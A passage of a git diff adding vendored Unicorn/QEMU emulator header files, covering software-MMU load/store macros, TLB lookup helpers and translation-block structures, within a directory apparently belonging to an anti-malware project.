ldq(p) ldq_raw(p) +#define ldfl(p) ldfl_raw(p) +#define ldfq(p) ldfq_raw(p) +#define stb(p, v) stb_raw(p, v) +#define stw(p, v) stw_raw(p, v) +#define stl(p, v) stl_raw(p, v) +#define stq(p, v) stq_raw(p, v) +#define stfl(p, v) stfl_raw(p, v) +#define stfq(p, v) stfq_raw(p, v) + +#define cpu_ldub_code(env1, p) ldub_raw(p) +#define cpu_ldsb_code(env1, p) ldsb_raw(p) +#define cpu_lduw_code(env1, p) lduw_raw(p) +#define cpu_ldsw_code(env1, p) ldsw_raw(p) +#define cpu_ldl_code(env1, p) ldl_raw(p) +#define cpu_ldq_code(env1, p) ldq_raw(p) + +#define cpu_ldub_data(env, addr) ldub_raw(addr) +#define cpu_lduw_data(env, addr) lduw_raw(addr) +#define cpu_ldsw_data(env, addr) ldsw_raw(addr) +#define cpu_ldl_data(env, addr) ldl_raw(addr) +#define cpu_ldq_data(env, addr) ldq_raw(addr) + +#define cpu_stb_data(env, addr, data) stb_raw(addr, data) +#define cpu_stw_data(env, addr, data) stw_raw(addr, data) +#define cpu_stl_data(env, addr, data) stl_raw(addr, data) +#define cpu_stq_data(env, addr, data) stq_raw(addr, data) + +#define cpu_ldub_kernel(env, addr) ldub_raw(addr) +#define cpu_lduw_kernel(env, addr) lduw_raw(addr) +#define cpu_ldsw_kernel(env, addr) ldsw_raw(addr) +#define cpu_ldl_kernel(env, addr) ldl_raw(addr) +#define cpu_ldq_kernel(env, addr) ldq_raw(addr) + +#define cpu_stb_kernel(env, addr, data) stb_raw(addr, data) +#define cpu_stw_kernel(env, addr, data) stw_raw(addr, data) +#define cpu_stl_kernel(env, addr, data) stl_raw(addr, data) +#define cpu_stq_kernel(env, addr, data) stq_raw(addr, data) + +#define ldub_kernel(p) ldub_raw(p) +#define ldsb_kernel(p) ldsb_raw(p) +#define lduw_kernel(p) lduw_raw(p) +#define ldsw_kernel(p) ldsw_raw(p) +#define ldl_kernel(p) ldl_raw(p) +#define ldq_kernel(p) ldq_raw(p) +#define ldfl_kernel(p) ldfl_raw(p) +#define ldfq_kernel(p) ldfq_raw(p) +#define stb_kernel(p, v) stb_raw(p, v) +#define stw_kernel(p, v) stw_raw(p, v) +#define stl_kernel(p, v) stl_raw(p, v) +#define stq_kernel(p, v) stq_raw(p, v) +#define stfl_kernel(p, v) stfl_raw(p, v) +#define stfq_kernel(p, vt) stfq_raw(p, v) + +#define cpu_ldub_data(env, addr) ldub_raw(addr) +#define cpu_lduw_data(env, addr) lduw_raw(addr) +#define cpu_ldl_data(env, addr) ldl_raw(addr) + +#define cpu_stb_data(env, addr, data) stb_raw(addr, data) +#define cpu_stw_data(env, addr, data) stw_raw(addr, data) +#define cpu_stl_data(env, addr, data) stl_raw(addr, data) + +#else + +/* XXX: find something cleaner. + * Furthermore, this is false for 64 bits targets + */ +#define ldul_user ldl_user +#define ldul_kernel ldl_kernel +#define ldul_hypv ldl_hypv +#define ldul_executive ldl_executive +#define ldul_supervisor ldl_supervisor + +/* The memory helpers for tcg-generated code need tcg_target_long etc. */ +#include "tcg.h" + +uint8_t helper_ldb_mmu(CPUArchState *env, target_ulong addr, int mmu_idx); +uint16_t helper_ldw_mmu(CPUArchState *env, target_ulong addr, int mmu_idx); +uint32_t helper_ldl_mmu(CPUArchState *env, target_ulong addr, int mmu_idx); +uint64_t helper_ldq_mmu(CPUArchState *env, target_ulong addr, int mmu_idx); + +void helper_stb_mmu(CPUArchState *env, target_ulong addr, + uint8_t val, int mmu_idx); +void helper_stw_mmu(CPUArchState *env, target_ulong addr, + uint16_t val, int mmu_idx); +void helper_stl_mmu(CPUArchState *env, target_ulong addr, + uint32_t val, int mmu_idx); +void helper_stq_mmu(CPUArchState *env, target_ulong addr, + uint64_t val, int mmu_idx); + +uint8_t helper_ldb_cmmu(CPUArchState *env, target_ulong addr, int mmu_idx); +uint16_t helper_ldw_cmmu(CPUArchState *env, target_ulong addr, int mmu_idx); +uint32_t helper_ldl_cmmu(CPUArchState *env, target_ulong addr, int mmu_idx); +uint64_t helper_ldq_cmmu(CPUArchState *env, target_ulong addr, int mmu_idx); + +#define CPU_MMU_INDEX 0 +#define MEMSUFFIX MMU_MODE0_SUFFIX +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" +#undef CPU_MMU_INDEX +#undef MEMSUFFIX + +#define CPU_MMU_INDEX 1 +#define MEMSUFFIX MMU_MODE1_SUFFIX +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" +#undef CPU_MMU_INDEX +#undef MEMSUFFIX + +#if (NB_MMU_MODES >= 3) + +#define CPU_MMU_INDEX 2 +#define MEMSUFFIX MMU_MODE2_SUFFIX +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" +#undef CPU_MMU_INDEX +#undef MEMSUFFIX +#endif /* (NB_MMU_MODES >= 3) */ + +#if (NB_MMU_MODES >= 4) + +#define CPU_MMU_INDEX 3 +#define MEMSUFFIX MMU_MODE3_SUFFIX +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" +#undef CPU_MMU_INDEX +#undef MEMSUFFIX +#endif /* (NB_MMU_MODES >= 4) */ + +#if (NB_MMU_MODES >= 5) + +#define CPU_MMU_INDEX 4 +#define MEMSUFFIX MMU_MODE4_SUFFIX +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" +#undef CPU_MMU_INDEX +#undef MEMSUFFIX +#endif /* (NB_MMU_MODES >= 5) */ + +#if (NB_MMU_MODES >= 6) + +#define CPU_MMU_INDEX 5 +#define MEMSUFFIX MMU_MODE5_SUFFIX +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" +#undef CPU_MMU_INDEX +#undef MEMSUFFIX +#endif /* (NB_MMU_MODES >= 6) */ + +#if (NB_MMU_MODES > 6) +#error "NB_MMU_MODES > 6 is not supported for now" +#endif /* (NB_MMU_MODES > 6) */ + +/* these access are slower, they must be as rare as possible */ +#define CPU_MMU_INDEX (cpu_mmu_index(env)) +#define MEMSUFFIX _data +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" +#undef CPU_MMU_INDEX +#undef MEMSUFFIX + +#define ldub(p) ldub_data(p) +#define ldsb(p) ldsb_data(p) +#define lduw(p) lduw_data(p) +#define ldsw(p) ldsw_data(p) +#define ldl(p) ldl_data(p) +#define ldq(p) ldq_data(p) + +#define stb(p, v) stb_data(p, v) +#define stw(p, v) stw_data(p, v) +#define stl(p, v) stl_data(p, v) +#define stq(p, v) stq_data(p, v) + +#define CPU_MMU_INDEX (cpu_mmu_index(env)) +#define MEMSUFFIX _code +#define SOFTMMU_CODE_ACCESS + +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" + +#undef CPU_MMU_INDEX +#undef MEMSUFFIX +#undef SOFTMMU_CODE_ACCESS + +/** + * tlb_vaddr_to_host: + * @env: CPUArchState + * @addr: guest virtual address to look up + * @access_type: 0 for read, 1 for write, 2 for execute + * @mmu_idx: MMU index to use for lookup + * + * Look up the specified guest virtual index in the TCG softmmu TLB. + * If the TLB contains a host virtual address suitable for direct RAM + * access, then return it. Otherwise (TLB miss, TLB entry is for an + * I/O access, etc) return NULL. + * + * This is the equivalent of the initial fast-path code used by + * TCG backends for guest load and store accesses. + */ +static inline void *tlb_vaddr_to_host(CPUArchState *env, target_ulong addr, + int access_type, int mmu_idx) +{ + int index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + CPUTLBEntry *tlbentry = &env->tlb_table[mmu_idx][index]; + target_ulong tlb_addr; + uintptr_t haddr; + + switch (access_type) { + case 0: + tlb_addr = tlbentry->addr_read; + break; + case 1: + tlb_addr = tlbentry->addr_write; + break; + case 2: + tlb_addr = tlbentry->addr_code; + break; + default: + g_assert_not_reached(); + } + + if ((addr & TARGET_PAGE_MASK) + != (tlb_addr & (TARGET_PAGE_MASK | TLB_INVALID_MASK))) { + /* TLB entry is for a different page */ + return NULL; + } + + if (tlb_addr & ~TARGET_PAGE_MASK) { + /* IO access */ + return NULL; + } + + haddr = (uintptr_t)(addr + env->tlb_table[mmu_idx][index].addend); + return (void *)haddr; +} + +#endif /* defined(CONFIG_USER_ONLY) */ + +#endif /* CPU_LDST_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu_ldst_template.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu_ldst_template.h new file mode 100644 index 0000000..fc68ee3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu_ldst_template.h @@ -0,0 +1,193 @@ +/* + * Software MMU support + * + * Generate inline load/store functions for one MMU mode and data + * size. + * + * Generate a store function as well as signed and unsigned loads. For + * 32 and 64 bit cases, also generate floating point functions with + * the same size. + * + * Not used directly but included from cpu_ldst.h. + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ +#if DATA_SIZE == 8 +#define SUFFIX q +#define USUFFIX q +#define DATA_TYPE uint64_t +#elif DATA_SIZE == 4 +#define SUFFIX l +#define USUFFIX l +#define DATA_TYPE uint32_t +#elif DATA_SIZE == 2 +#define SUFFIX w +#define USUFFIX uw +#define DATA_TYPE uint16_t +#define DATA_STYPE int16_t +#elif DATA_SIZE == 1 +#define SUFFIX b +#define USUFFIX ub +#define DATA_TYPE uint8_t +#define DATA_STYPE int8_t +#else +#error unsupported data size +#endif + +#if DATA_SIZE == 8 +#define RES_TYPE uint64_t +#else +#define RES_TYPE uint32_t +#endif + +#ifdef SOFTMMU_CODE_ACCESS +#define ADDR_READ addr_code +#define MMUSUFFIX _cmmu +#else +#define ADDR_READ addr_read +#define MMUSUFFIX _mmu +#endif + +/* generic load/store macros */ + +static inline RES_TYPE +glue(glue(cpu_ld, USUFFIX), MEMSUFFIX)(CPUArchState *env, target_ulong ptr) +{ + int page_index; + RES_TYPE res; + target_ulong addr; + int mmu_idx; + + addr = ptr; + page_index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + mmu_idx = CPU_MMU_INDEX; + if (unlikely(env->tlb_table[mmu_idx][page_index].ADDR_READ != + (addr & (TARGET_PAGE_MASK | (DATA_SIZE - 1))))) { + res = glue(glue(helper_ld, SUFFIX), MMUSUFFIX)(env, addr, mmu_idx); + } else { + uintptr_t hostaddr = (uintptr_t)(addr + env->tlb_table[mmu_idx][page_index].addend); + res = glue(glue(ld, USUFFIX), _raw)(hostaddr); + } + return res; +} + +#if DATA_SIZE <= 2 +static inline int +glue(glue(cpu_lds, SUFFIX), MEMSUFFIX)(CPUArchState *env, target_ulong ptr) +{ + int res, page_index; + target_ulong addr; + int mmu_idx; + + addr = ptr; + page_index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + mmu_idx = CPU_MMU_INDEX; + if (unlikely(env->tlb_table[mmu_idx][page_index].ADDR_READ != + (addr & (TARGET_PAGE_MASK | (DATA_SIZE - 1))))) { + res = (DATA_STYPE)glue(glue(helper_ld, SUFFIX), + MMUSUFFIX)(env, addr, mmu_idx); + } else { + uintptr_t hostaddr = (uintptr_t)(addr + env->tlb_table[mmu_idx][page_index].addend); + res = glue(glue(lds, SUFFIX), _raw)(hostaddr); + } + return res; +} +#endif + +#ifndef SOFTMMU_CODE_ACCESS + +/* generic store macro */ + +static inline void +glue(glue(cpu_st, SUFFIX), MEMSUFFIX)(CPUArchState *env, target_ulong ptr, + RES_TYPE v) +{ + int page_index; + target_ulong addr; + int mmu_idx; + + addr = ptr; + page_index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + mmu_idx = CPU_MMU_INDEX; + if (unlikely(env->tlb_table[mmu_idx][page_index].addr_write != + (addr & (TARGET_PAGE_MASK | (DATA_SIZE - 1))))) { + glue(glue(helper_st, SUFFIX), MMUSUFFIX)(env, addr, v, mmu_idx); + } else { + uintptr_t hostaddr = (uintptr_t)(addr + env->tlb_table[mmu_idx][page_index].addend); + glue(glue(st, SUFFIX), _raw)(hostaddr, v); + } +} + + + +#if DATA_SIZE == 8 +static inline float64 glue(cpu_ldfq, MEMSUFFIX)(CPUArchState *env, + target_ulong ptr) +{ + union { + float64 d; + uint64_t i; + } u; + u.i = glue(cpu_ldq, MEMSUFFIX)(env, ptr); + return u.d; +} + +static inline void glue(cpu_stfq, MEMSUFFIX)(CPUArchState *env, + target_ulong ptr, float64 v) +{ + union { + float64 d; + uint64_t i; + } u; + u.d = v; + glue(cpu_stq, MEMSUFFIX)(env, ptr, u.i); +} +#endif /* DATA_SIZE == 8 */ + +#if DATA_SIZE == 4 +static inline float32 glue(cpu_ldfl, MEMSUFFIX)(CPUArchState *env, + target_ulong ptr) +{ + union { + float32 f; + uint32_t i; + } u; + u.i = glue(cpu_ldl, MEMSUFFIX)(env, ptr); + return u.f; +} + +static inline void glue(cpu_stfl, MEMSUFFIX)(CPUArchState *env, + target_ulong ptr, float32 v) +{ + union { + float32 f; + uint32_t i; + } u; + u.f = v; + glue(cpu_stl, MEMSUFFIX)(env, ptr, u.i); +} +#endif /* DATA_SIZE == 4 */ + +#endif /* !SOFTMMU_CODE_ACCESS */ + +#undef RES_TYPE +#undef DATA_TYPE +#undef DATA_STYPE +#undef SUFFIX +#undef USUFFIX +#undef DATA_SIZE +#undef MMUSUFFIX +#undef ADDR_READ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cputlb.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cputlb.h new file mode 100644 index 0000000..1a43d32 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cputlb.h @@ -0,0 +1,48 @@ +/* + * Common CPU TLB handling + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ +#ifndef CPUTLB_H +#define CPUTLB_H + +#if !defined(CONFIG_USER_ONLY) +/* cputlb.c */ +void tlb_protect_code(struct uc_struct *uc, ram_addr_t ram_addr); +void tlb_unprotect_code_phys(CPUState *cpu, ram_addr_t ram_addr, + target_ulong vaddr); +void tlb_reset_dirty_range(CPUTLBEntry *tlb_entry, + uintptr_t start, uintptr_t length); +void cpu_tlb_reset_dirty_all(struct uc_struct *uc, ram_addr_t start1, ram_addr_t length); +void tlb_set_dirty(CPUArchState *env, target_ulong vaddr); +//extern int tlb_flush_count; + +/* exec.c */ +void tb_flush_jmp_cache(CPUState *cpu, target_ulong addr); + +MemoryRegionSection * +address_space_translate_for_iotlb(AddressSpace *as, hwaddr addr, hwaddr *xlat, + hwaddr *plen); +hwaddr memory_region_section_get_iotlb(CPUState *cpu, + MemoryRegionSection *section, + target_ulong vaddr, + hwaddr paddr, hwaddr xlat, + int prot, + target_ulong *address); +bool memory_region_is_unassigned(struct uc_struct* uc, MemoryRegion *mr); + +#endif +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/exec-all.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/exec-all.h new file mode 100644 index 0000000..e839825 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/exec-all.h @@ -0,0 +1,379 @@ +/* + * internal execution defines for qemu + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ + +#ifndef _EXEC_ALL_H_ +#define _EXEC_ALL_H_ + +#include "qemu-common.h" + +/* allow to see translation results - the slowdown should be negligible, so we leave it */ +#define DEBUG_DISAS + +/* Page tracking code uses ram addresses in system mode, and virtual + addresses in userspace mode. Define tb_page_addr_t to be an appropriate + type. */ +#if defined(CONFIG_USER_ONLY) +typedef abi_ulong tb_page_addr_t; +#else +typedef ram_addr_t tb_page_addr_t; +#endif + +/* is_jmp field values */ +#define DISAS_NEXT 0 /* next instruction can be analyzed */ +#define DISAS_JUMP 1 /* only pc was modified dynamically */ +#define DISAS_UPDATE 2 /* cpu state was modified dynamically */ +#define DISAS_TB_JUMP 3 /* only pc was modified statically */ + +struct TranslationBlock; +typedef struct TranslationBlock TranslationBlock; + +/* XXX: make safe guess about sizes */ +#define MAX_OP_PER_INSTR 266 + +#if HOST_LONG_BITS == 32 +#define MAX_OPC_PARAM_PER_ARG 2 +#else +#define MAX_OPC_PARAM_PER_ARG 1 +#endif +#define MAX_OPC_PARAM_IARGS 5 +#define MAX_OPC_PARAM_OARGS 1 +#define MAX_OPC_PARAM_ARGS (MAX_OPC_PARAM_IARGS + MAX_OPC_PARAM_OARGS) + +/* A Call op needs up to 4 + 2N parameters on 32-bit archs, + * and up to 4 + N parameters on 64-bit archs + * (N = number of input arguments + output arguments). */ +#define MAX_OPC_PARAM (4 + (MAX_OPC_PARAM_PER_ARG * MAX_OPC_PARAM_ARGS)) +#define OPC_MAX_SIZE (OPC_BUF_SIZE - MAX_OP_PER_INSTR) + +/* Maximum size a TCG op can expand to. This is complicated because a + single op may require several host instructions and register reloads. + For now take a wild guess at 192 bytes, which should allow at least + a couple of fixup instructions per argument. */ +#define TCG_MAX_OP_SIZE 192 + +#define OPPARAM_BUF_SIZE (OPC_BUF_SIZE * MAX_OPC_PARAM) + +#include "qemu/log.h" + +void gen_intermediate_code(CPUArchState *env, struct TranslationBlock *tb); +void gen_intermediate_code_pc(CPUArchState *env, struct TranslationBlock *tb); +void restore_state_to_opc(CPUArchState *env, struct TranslationBlock *tb, + int pc_pos); +bool cpu_restore_state(CPUState *cpu, uintptr_t searched_pc); + +void QEMU_NORETURN cpu_resume_from_signal(CPUState *cpu, void *puc); + +void QEMU_NORETURN cpu_io_recompile(CPUState *cpu, uintptr_t retaddr); +TranslationBlock *tb_gen_code(CPUState *cpu, + target_ulong pc, target_ulong cs_base, int flags, + int cflags); +void cpu_exec_init(CPUArchState *env, void *opaque); + +void QEMU_NORETURN cpu_loop_exit(CPUState *cpu); + +void tb_invalidate_phys_page_range(struct uc_struct *uc, tb_page_addr_t start, tb_page_addr_t end, + int is_cpu_write_access); +void tb_invalidate_phys_range(struct uc_struct *uc, tb_page_addr_t start, tb_page_addr_t end, + int is_cpu_write_access); +#if !defined(CONFIG_USER_ONLY) +void tcg_cpu_address_space_init(CPUState *cpu, AddressSpace *as); +/* cputlb.c */ +void tlb_flush_page(CPUState *cpu, target_ulong addr); +void tlb_flush(CPUState *cpu, int flush_global); +void tlb_set_page(CPUState *cpu, target_ulong vaddr, + hwaddr paddr, int prot, + int mmu_idx, target_ulong size); + +void tb_invalidate_phys_addr(AddressSpace *as, hwaddr addr); + +#else +static inline void tlb_flush_page(CPUState *cpu, target_ulong addr) +{ +} + +static inline void tlb_flush(CPUState *cpu, int flush_global) +{ +} +#endif + +#define CODE_GEN_ALIGN 16 /* must be >= of the size of a icache line */ + +#define CODE_GEN_PHYS_HASH_BITS 15 +#define CODE_GEN_PHYS_HASH_SIZE (1 << CODE_GEN_PHYS_HASH_BITS) + +/* estimated block size for TB allocation */ +/* XXX: use a per code average code fragment size and modulate it + according to the host CPU */ +#if defined(CONFIG_SOFTMMU) +#define CODE_GEN_AVG_BLOCK_SIZE 128 +#else +#define CODE_GEN_AVG_BLOCK_SIZE 64 +#endif + +#if defined(__arm__) || defined(_ARCH_PPC) \ + || defined(__x86_64__) || defined(__i386__) \ + || defined(__sparc__) || defined(__aarch64__) \ + || defined(__s390x__) || defined(__mips__) \ + || defined(CONFIG_TCG_INTERPRETER) +#define USE_DIRECT_JUMP +#endif + +struct TranslationBlock { + target_ulong pc; /* simulated PC corresponding to this block (EIP + CS base) */ + target_ulong cs_base; /* CS base for this block */ + uint64_t flags; /* flags defining in which context the code was generated */ + uint16_t size; /* size of target code for this block (1 <= + size <= TARGET_PAGE_SIZE) */ + uint16_t cflags; /* compile flags */ +#define CF_COUNT_MASK 0x7fff +#define CF_LAST_IO 0x8000 /* Last insn may be an IO access. */ + + void *tc_ptr; /* pointer to the translated code */ + /* next matching tb for physical address. */ + struct TranslationBlock *phys_hash_next; + /* first and second physical page containing code. The lower bit + of the pointer tells the index in page_next[] */ + struct TranslationBlock *page_next[2]; + tb_page_addr_t page_addr[2]; + + /* the following data are used to directly call another TB from + the code of this one. */ + uint16_t tb_next_offset[2]; /* offset of original jump target */ +#ifdef USE_DIRECT_JUMP + uint16_t tb_jmp_offset[2]; /* offset of jump instruction */ +#else + uintptr_t tb_next[2]; /* address of jump generated code */ +#endif + /* list of TBs jumping to this one. This is a circular list using + the two least significant bits of the pointers to tell what is + the next pointer: 0 = jmp_next[0], 1 = jmp_next[1], 2 = + jmp_first */ + struct TranslationBlock *jmp_next[2]; + struct TranslationBlock *jmp_first; + uint32_t icount; +}; + +typedef struct TBContext TBContext; + +struct TBContext { + + TranslationBlock *tbs; + TranslationBlock *tb_phys_hash[CODE_GEN_PHYS_HASH_SIZE]; + int nb_tbs; + + /* statistics */ + int tb_flush_count; + int tb_phys_invalidate_count; + + int tb_invalidated_flag; +}; + +static inline unsigned int tb_jmp_cache_hash_page(target_ulong pc) +{ + target_ulong tmp; + tmp = pc ^ (pc >> (TARGET_PAGE_BITS - TB_JMP_PAGE_BITS)); + return (tmp >> (TARGET_PAGE_BITS - TB_JMP_PAGE_BITS)) & TB_JMP_PAGE_MASK; +} + +static inline unsigned int tb_jmp_cache_hash_func(target_ulong pc) +{ + target_ulong tmp; + tmp = pc ^ (pc >> (TARGET_PAGE_BITS - TB_JMP_PAGE_BITS)); + return (((tmp >> (TARGET_PAGE_BITS - TB_JMP_PAGE_BITS)) & TB_JMP_PAGE_MASK) + | (tmp & TB_JMP_ADDR_MASK)); +} + +static inline unsigned int tb_phys_hash_func(tb_page_addr_t pc) +{ + return (pc >> 2) & (CODE_GEN_PHYS_HASH_SIZE - 1); +} + +void tb_free(struct uc_struct *uc, TranslationBlock *tb); +void tb_flush(CPUArchState *env); +void tb_phys_invalidate(struct uc_struct *uc, + TranslationBlock *tb, tb_page_addr_t page_addr); + +#if defined(USE_DIRECT_JUMP) + +#if defined(CONFIG_TCG_INTERPRETER) +static inline void tb_set_jmp_target1(uintptr_t jmp_addr, uintptr_t addr) +{ + /* patch the branch destination */ + *(uint32_t *)jmp_addr = addr - (jmp_addr + 4); + /* no need to flush icache explicitly */ +} +#elif defined(_ARCH_PPC) +void ppc_tb_set_jmp_target(uintptr_t jmp_addr, uintptr_t addr); +#define tb_set_jmp_target1 ppc_tb_set_jmp_target +#elif defined(__i386__) || defined(__x86_64__) +static inline void tb_set_jmp_target1(uintptr_t jmp_addr, uintptr_t addr) +{ + /* patch the branch destination */ + stl_le_p((void*)jmp_addr, addr - (jmp_addr + 4)); + /* no need to flush icache explicitly */ +} +#elif defined(__s390x__) +static inline void tb_set_jmp_target1(uintptr_t jmp_addr, uintptr_t addr) +{ + /* patch the branch destination */ + intptr_t disp = addr - (jmp_addr - 2); + stl_be_p((void*)jmp_addr, disp / 2); + /* no need to flush icache explicitly */ +} +#elif defined(__aarch64__) +void aarch64_tb_set_jmp_target(uintptr_t jmp_addr, uintptr_t addr); +#define tb_set_jmp_target1 aarch64_tb_set_jmp_target +#elif defined(__arm__) +static inline void tb_set_jmp_target1(uintptr_t jmp_addr, uintptr_t addr) +{ +#if !QEMU_GNUC_PREREQ(4, 1) + register unsigned long _beg __asm ("a1"); + register unsigned long _end __asm ("a2"); + register unsigned long _flg __asm ("a3"); +#endif + + /* we could use a ldr pc, [pc, #-4] kind of branch and avoid the flush */ + *(uint32_t *)jmp_addr = + (*(uint32_t *)jmp_addr & ~0xffffff) + | (((addr - (jmp_addr + 8)) >> 2) & 0xffffff); + +#if QEMU_GNUC_PREREQ(4, 1) + __builtin___clear_cache((char *) jmp_addr, (char *) jmp_addr + 4); +#else + /* flush icache */ + _beg = jmp_addr; + _end = jmp_addr + 4; + _flg = 0; + __asm __volatile__ ("swi 0x9f0002" : : "r" (_beg), "r" (_end), "r" (_flg)); +#endif +} +#elif defined(__sparc__) || defined(__mips__) +void tb_set_jmp_target1(uintptr_t jmp_addr, uintptr_t addr); +#else +#error tb_set_jmp_target1 is missing +#endif + +static inline void tb_set_jmp_target(TranslationBlock *tb, + int n, uintptr_t addr) +{ + uint16_t offset = tb->tb_jmp_offset[n]; + tb_set_jmp_target1((uintptr_t)((char*)tb->tc_ptr + offset), addr); +} + +#else + +/* set the jump target */ +static inline void tb_set_jmp_target(TranslationBlock *tb, + int n, uintptr_t addr) +{ + tb->tb_next[n] = addr; +} + +#endif + +static inline void tb_add_jump(TranslationBlock *tb, int n, + TranslationBlock *tb_next) +{ + /* NOTE: this test is only needed for thread safety */ + if (!tb->jmp_next[n]) { + /* patch the native jump address */ + tb_set_jmp_target(tb, n, (uintptr_t)tb_next->tc_ptr); + + /* add in TB jmp circular list */ + tb->jmp_next[n] = tb_next->jmp_first; + tb_next->jmp_first = (TranslationBlock *)((uintptr_t)(tb) | (n)); + } +} + +/* GETRA is the true target of the return instruction that we'll execute, + defined here for simplicity of defining the follow-up macros. */ +#if defined(CONFIG_TCG_INTERPRETER) +extern uintptr_t tci_tb_ptr; +# define GETRA() tci_tb_ptr +#elif defined(_MSC_VER) +#include <intrin.h> +# define GETRA() (uintptr_t)_ReturnAddress() +#else +# define GETRA() \ + ((uintptr_t)__builtin_extract_return_addr(__builtin_return_address(0))) +#endif + +/* The true return address will often point to a host insn that is part of + the next translated guest insn. Adjust the address backward to point to + the middle of the call insn. Subtracting one would do the job except for + several compressed mode architectures (arm, mips) which set the low bit + to indicate the compressed mode; subtracting two works around that. It + is also the case that there are no host isas that contain a call insn + smaller than 4 bytes, so we don't worry about special-casing this. */ +#if defined(CONFIG_TCG_INTERPRETER) +# define GETPC_ADJ 0 +#else +# define GETPC_ADJ 2 +#endif + +#define GETPC() (GETRA() - GETPC_ADJ) + +#if !defined(CONFIG_USER_ONLY) + +void phys_mem_set_alloc(void *(*alloc)(size_t, uint64_t *align)); + +struct MemoryRegion *iotlb_to_region(AddressSpace *as, hwaddr index); +bool io_mem_read(struct MemoryRegion *mr, hwaddr addr, + uint64_t *pvalue, unsigned size); +bool io_mem_write(struct MemoryRegion *mr, hwaddr addr, + uint64_t value, unsigned size); + + +void tlb_fill(CPUState *cpu, target_ulong addr, int is_write, int mmu_idx, + uintptr_t retaddr); +#endif + +#if defined(CONFIG_USER_ONLY) +static inline tb_page_addr_t get_page_addr_code(CPUArchState *env1, target_ulong addr) +{ + return addr; +} +#else +/* cputlb.c */ +tb_page_addr_t get_page_addr_code(CPUArchState *env1, target_ulong addr); +#endif + +/* vl.c */ +extern int singlestep; + +/* cpu-exec.c */ +extern volatile sig_atomic_t exit_request; + +/** + * cpu_can_do_io: + * @cpu: The CPU for which to check IO. + * + * Deterministic execution requires that IO only be performed on the last + * instruction of a TB so that interrupts take effect immediately. + * + * Returns: %true if memory-mapped IO is safe, %false otherwise. + */ +static inline bool cpu_can_do_io(CPUState *cpu) +{ + return true; +} + +void phys_mem_clean(struct uc_struct* uc); + 